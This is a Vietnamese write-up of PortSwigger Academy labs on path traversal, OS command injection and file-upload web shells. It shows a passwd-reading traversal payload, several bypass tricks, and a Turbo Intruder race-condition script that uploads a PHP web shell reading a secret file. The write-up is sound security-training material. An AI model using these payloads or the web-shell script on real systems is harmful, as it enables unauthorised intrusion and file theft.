# WEB03: Directory Traversal, Command Injection, File Upload --- ## Directory traversal ![](https://i.imgur.com/jT8fvol.png) ### Reading arbitrary files via directory traversal #### Lab: File path traversal, simple case ![](https://i.imgur.com/OwznFFp.png) Access vào bài lab, chọn view details một product, ta để ý thấy sẽ có một request `GET /image?filename=38.jpg` ![](https://i.imgur.com/mbvoTci.png) Path traversal để đọc file passwd ![](https://i.imgur.com/2dJqsrT.png) --- ### Common obstacles to exploiting file path traversal vulnerabilities #### Lab: File path traversal, traversal sequences blocked with absolute path bypass ![](https://i.imgur.com/ssfEJBX.png) Sử dụng payload như bài trước, lúc này ta không thể thành công đọc được file passwd ![](https://i.imgur.com/fB68BXL.png) Dựa vào mô tả của đề, có vẻ như server đã chặn đi kí tự dùng để traversal (`.`) Nhưng ta vẫn có thể bypass bằng đường dẫn tuyệt đối ![](https://i.imgur.com/qJsJqXS.png) #### Lab: File path traversal, traversal sequences stripped non-recursively ![](https://i.imgur.com/cwOTm5T.png) Ở bài lab này, chuỗi kí tự `../` ta nhập vào sẽ bị strip, bởi vì chúng không được strip đệ quy nên ta có thể bypass như sau ![](https://i.imgur.com/NuPM2Yb.png) #### Lab: File path traversal, traversal sequences stripped with superfluous URL-decode ![](https://i.imgur.com/sXkKAAJ.png) #### Lab: File path traversal, traversal sequences stripped with superfluous URL-decode ![](https://i.imgur.com/YHMx0ft.png) Server thực hiện urldecode trước khi sử dụng `filename` param vì vậy ta có thể double url encode để bypass cơ chế bảo vệ ![](https://i.imgur.com/qEWbiOs.png) #### Lab: File path traversal, validation of start of path ![](https://i.imgur.com/GSPQZXF.png) Ở bài lab này, server tiến hành kiếm tra giá trị của param `filename` và đảm bảo rằng phải bắt đầu với `/var/www/images` => bypass như sau ![](https://i.imgur.com/9cIdNVq.png) #### Lab: File path traversal, validation of file extension with null byte bypass ![](https://i.imgur.com/pWTGNIS.png) Dựa theo mô tả của bài lab và lí thuyết, server sẽ check `filename` kết thúc với một extension mong muốn (các extension của image như `.png`, `.jpg`, ...) để vừa thỏa mãn điều kiện của server đồng thời vẫn path traversal để đọc file ta có thể khai thác như sau ![](https://i.imgur.com/kmYIHzp.png) `../../../etc/passwd%00.png`, vừa thỏa phần kết thúc là `.png` đồng thời khi server include file này, sẽ kết thúc tại null byte => đọc được file passwd --- ## Command Injection ![](https://i.imgur.com/aHnoLLl.png) ### Executing arbitrary commands #### Lab: OS command injection, simple case ![](https://i.imgur.com/UNxnvQd.png) Ở endpoint `/product/stock`, thử thay đổi giá trị của POST param `productId` thành `1;`, ta thấy server báo lỗi như sau ![](https://i.imgur.com/PGbFwFV.png) => Input được dùng làm argument cho file thực thi `/home/peter-9h4COa/stockreport.sh` -> có thể command injection ở đây Thực thi whoami: ![](https://i.imgur.com/XYx1e6y.png) ### Blind OS command injection vulnerabilities #### Detecting blind OS command injection using time delays ##### Lab: Blind OS command injection with time delays ![](https://i.imgur.com/5hgbrpQ.png) Đề bài mô ta rằng tính năng feedback bị lỗi OS command injection ![](https://i.imgur.com/7mTeO43.png) Thử thêm `;` vào lần lượt các trường `name` , `email`, `subject`, `message` thì để ý thấy nếu giá trị của `email` là `123;@gm.com` server phản hồi như sau ![](https://i.imgur.com/NTtyVeb.png) => Blind os command injection ở trường này để trigger time delay ![](https://i.imgur.com/TwBwrgm.png) #### Exploiting blind OS command injection by redirecting output ##### Lab: Blind OS command injection with output redirection ![](https://i.imgur.com/vk0yqXk.png) Vẫn là blind sqli ở tính năng feedback, nhưng ở lab này ta có thể ghi output của command ra file `whoami.txt` tại folder có quyền ghi là `/var/ww/images` sau đó đọc thông qua `GET /image?filename=whoami.txt` ghi output command ![](https://i.imgur.com/kUFERwS.png) đọc `whoami.txt` ![](https://i.imgur.com/jWgE4Xh.png) #### Exploiting blind OS command injection using out-of-band (OAST) techniques ##### Lab: Blind OS command injection with out-of-band interaction ![](https://i.imgur.com/XDgEYM1.png) Dùng Burp Colaborator để tạo một external domain, payload để trigger out of band interaction sẽ như sau ![](https://i.imgur.com/9LN0MnP.png) Kết quả ![](https://i.imgur.com/ExvrPDW.png) ##### Lab: Blind OS command injection with out-of-band data exfiltration ![](https://i.imgur.com/CFq9Fvj.png) Vẫn áp dụng kĩ thuật từ bài lab trước, nhưng lần này đề yêu cầu ta DNS lookup đến một subdomain là output của command `whoami` Payload như sau: ![](https://i.imgur.com/MI2pzIn.png) ## File Upload ![](https://i.imgur.com/BEcTLGC.png) ### Exploiting unrestricted file uploads to deploy a web shell #### Lab: Remote code execution via web shell upload ![](https://i.imgur.com/xkRdz5e.png) Tại my account, cho phép ta upload file ảnh để thay đổi avatar ![](https://i.imgur.com/FZL7aqi.png) Bài lab này đơn giản ta chỉ cần up một php web shell để đọc file `/home/carlos/secret` Sau khi upload php web shell với nội dung là `a`, và chọn `Back to my account` sẽ có một GET request đến `/files/avatar/<shell_name.php>` để hiển thị hình cho chúng ta, và có thể đọc được nội dung file secret từ response của request này ![](https://i.imgur.com/uSQxYkV.png) ### Exploiting flawed validation of file uploads #### Flawed file type validation ##### Lab: Web shell upload via Content-Type restriction bypass ![](https://i.imgur.com/3ndfOPA.png) Vẫn tính năng upload hình để cập nhật avatar như cũ, thử up php web shell lên server, phản hồi trả về như sau ![](https://i.imgur.com/VQigFIS.png) Từ mô tả của bài lab, server dựa hoàn toàn vào `Content-Type` trong http request để check MIME. Vì thể ta có thể bypass bằng cách điều chỉnh giá trị của trường này ![](https://i.imgur.com/jiUL5wJ.png) Access tới web shell để lấy nội dung của file secret ![](https://i.imgur.com/hjTov2e.png) --- #### Preventing file execution in user-accessible directories ##### Lab: Web shell upload via path traversal ![](https://i.imgur.com/9bF9UVk.png) Ở bài này, server đã cấu hình để các file uploaded từ user nằm tại một folder mà không có quyền thực thi `.php` ![](https://i.imgur.com/JImgwa0.png) Để bypass, ta có thể kết hợp với path traversal để đặt uploaded file đến một folder không bị chặn execute `.php` Bên cạnh đó, vì server đã check các kí tự dùng để traversal (`.`, `/`) nên cần url encode để bypass ![](https://i.imgur.com/k88ZBy2.png) Và secret: ![](https://i.imgur.com/sXpbvuA.png) #### Insufficient blacklisting of dangerous file types #### Lab: Web shell upload via extension blacklist bypass ![](https://i.imgur.com/YKBKtWL.png) Ở bài lab này, server đã được cấu hình để blacklist các file với extension như `.php` ..., nhưng ta có thể áp dụng kĩ thuật upload `.htaccess` để bypass cơ chế này Upload `.htaccess` để các file có extension là `.bla` đều được parse bởi php handler ![](https://i.imgur.com/Dqe8SJ9.png) Upload một php web shell với tên file là `123.bla`, access tới shell lấy được nội dung của file secret: ![](https://i.imgur.com/wb8K7vX.png) #### Obfuscating file extensions ##### Lab: Web shell upload via obfuscated file extension ![](https://i.imgur.com/uK6emJM.png) Thử upload php file, server trả về như sau ![](https://i.imgur.com/0JFhi1V.png) Sau một hồi fuzzing, em nhận ra có thể bypass bằng cách thêm null byte vào `filename`, cụ thể là: ![](https://i.imgur.com/tGCpXXv.png) Và secret: ![](https://i.imgur.com/ZFjWCHl.png) #### Flawed validation of the file's contents ##### Lab: Remote code execution via polyglot web shell upload ![](https://i.imgur.com/3DC72wJ.png) Ở bài lab này, server thực hiện check file type dựa vào content của file upload ![](https://i.imgur.com/hXuAMTN.png) Để đơn giản, ta có thể chỉnh magic byte của file upload thành của gif file ![](https://i.imgur.com/ZNTt32q.png) và secret: ![](https://i.imgur.com/kUHh7Mt.png) ### Exploiting file upload race conditions #### Lab: Web shell upload via race condition ![](https://i.imgur.com/EEBVwaa.png) Ở bài lab này, sau khi server di chuyển file upload vào một ví trí mà có thể access được từ internet, và sau khi xử lí nếu file upload này không thỏa mãn là image thì thực hiện xóa file. Ta vẫn có thể rce thông qua race condition, gửi 2 request: 1 cái dùng để upload file, 1 cái để access tới shell. Nếu chúng đủ nhanh thì vẫn có thể xem được output của lệnh thực thi. Tool turbo intruder, script như sau: ```! def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10, ) request1 = '''POST /my-account/avatar HTTP/1.1 Host: 0ac5003803a0d55cc316978100630093.web-security-academy.net Cookie: session=xHyGX1R36HdWQNauCdokbLj0R1dQdPoS Content-Length: 471 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: https://0ac5003803a0d55cc316978100630093.web-security-academy.net Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryurSlinCC4R92lA06 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0ac5003803a0d55cc316978100630093.web-security-academy.net/my-account Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundaryurSlinCC4R92lA06 Content-Disposition: form-data; name="avatar"; filename="123.php" Content-Type: application/octet-stream <?php echo file_get_contents("/home/carlos/secret") ?> ------WebKitFormBoundaryurSlinCC4R92lA06 Content-Disposition: form-data; name="user" wiener ------WebKitFormBoundaryurSlinCC4R92lA06 Content-Disposition: form-data; name="csrf" lIrgYO8Zgw4aLEEo9rwY7LkhcM4V07vA ------WebKitFormBoundaryurSlinCC4R92lA06-- ''' request2 = '''GET /files/avatars/123.php HTTP/1.1 Host: 0ac5003803a0d55cc316978100630093.web-security-academy.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Origin: https://0ac5003803a0d55cc316978100630093.web-security-academy.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: session=xHyGX1R36HdWQNauCdokbLj0R1dQdPoS ''' engine.queue(request1, gate='race1') # the 'gate' argument blocks the final byte of each request until openGate is invoked for i in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` Và secret: ![](https://i.imgur.com/QKgaQ3Q.png) ###### tags: `portswigger`